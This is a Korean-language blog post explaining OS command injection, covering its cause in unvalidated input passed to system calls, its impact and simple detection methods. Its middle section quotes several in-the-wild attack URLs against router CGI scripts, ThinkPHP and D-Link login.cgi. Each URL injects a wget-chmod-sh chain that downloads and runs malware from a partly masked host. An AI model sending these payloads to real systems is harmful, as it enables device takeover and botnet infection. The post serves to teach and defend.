Commandline Injection Attack (명령어 주입 공격)
주로 시스템 명령어를 호출하는 어플리케이션의 인자 값을 조작하여 의도하지 않은 시스템 명령어를 실행시키는 해킹 공격 기법입니다. Commandline Injection 공격이 실행될 수 있는 주요 허점은 사용자가 제공한 입력이 애플리케이션에서 검증되지 않는 경우입니다. 이 입력은 실행될 명령을 구성하는 데 사용됩니다.
이러한 사이버 공격은 웹 애플리케이션이 확인되지 않은 사용자 입력(쿠키, 양식, HTTP 헤더 등)을 exec() 및 system() 과 같은 OS 함수에 직접 전달할 때 가능합니다 . 입력은 항상 전체 명령을 형성하는 애플리케이션의 상수 문자열에 연결된 문자열(문자열 cmd)입니다.
특히, Linux OS를 사용하는 서비스의 경우 wget 명령어를 URL에 포함하여 권한 설정이 미흡할때 외부로 부터 악성코드를 바로 다운로드받을수도 있습니다. 취약한 어플리케이션을 통하여 사용자의 명령어 시스템에서 임의적인 명령을 실행시키는 것을 목적으로 하는 공격을 의미합니다.
아래 내용은 실제 공격 예제를 통해 어떤 형태로 공격이 발생하는지 참고해보시면 이해하는데 도움이 될것입니다.
- http://abc.x.com/cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw==&username=admin%20;XmlAp%20r%20Account.User1.Password%3E$(cd%20/tmp;%20wget%20http://2xx.1×1.33.1×9/avtechsh%20-O%20d4rk;%20chmod%20777%20d4rk;%20sh%20d4rk)&password=admin
- http://abcx.x.20.x/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;wget%20http://1×7.x9.2x.1×2/ex.sh;chmod%20777%20ex.sh;sh%20ex.sh
- http://abc.x.com/maker/snwrite.cgi?mac=1234;wget%20http://x9.xx.22x.xx/airlink.sh%20-O%20/tmp/666trapgod;chmod%20777%20/tmp/666trapgod;./tmp/666trapgod
- http://abc.x.co.kr/login.cgi?cli=aa%20aa%27;wget%20http://x4.2xx.3x.7x/bins/Solstice.mips%20-O%20->%20/tmp/.Solstice;chmod%20777%20/tmp/.Solstice;/tmp/.Solstice%20dlink%27$
DLINK Command Injection Exploit – HTTP (Request) – Variant 2 / D-Link 라우터의 다양한 취약점 공격 예제
- /login.cgi?cli=aa%20aa%27;wget%20http://8x.2x.1x.2x/x%20-O%20-%3E%20/tmp/x;sh%20/tmp/x%27$
OS 커맨드(명령어) 인젝션은 공격자가 취약한 변수에 악의적인 코드나 명령어를 삽입하면 서버가 악의적인 코드를 실행하거나 명령어를 입력한 결과를 출력하는 형태의 공격입니다.
OS 내 권한 설정 미흠이나 특히 웹 서비스 소스 디렉토리등의 권한 설정등이 미흡할 경우 공격 대상이 될수있습니다. 이와 같은 명령어 주입 공격이 성공하게 되면 공격자는 운영체제(OS)에서 임의의 시스템 명령을 실행할 수 있게되어 원래 명령을 재정의하여 시스템 중요 자원에 액세스하거나 중요한 데이터를 탈취 할수 있는 매우 위험한 공격입니다.
명령 주입 공격을 탐지하는 방법에는 여러 가지가 있습니다. 한 가지 방법은 요청 매개변수를 살펴보고 의심스러운 문자열이 있는지 확인하는 것입니다. 또 다른 방법은 응답 본문을 검사하여 비정상적이거나 예상치 못한 결과가 있는지 확인하는 것도 하나의 방법이 될수있습니다.
Application 매개변수 중 일부가 수정된 것을 발견했다면 누군가가 Application에 대해 명령 주입 공격을 수행했다는 의미로 볼수 있습니다.
답글 남기기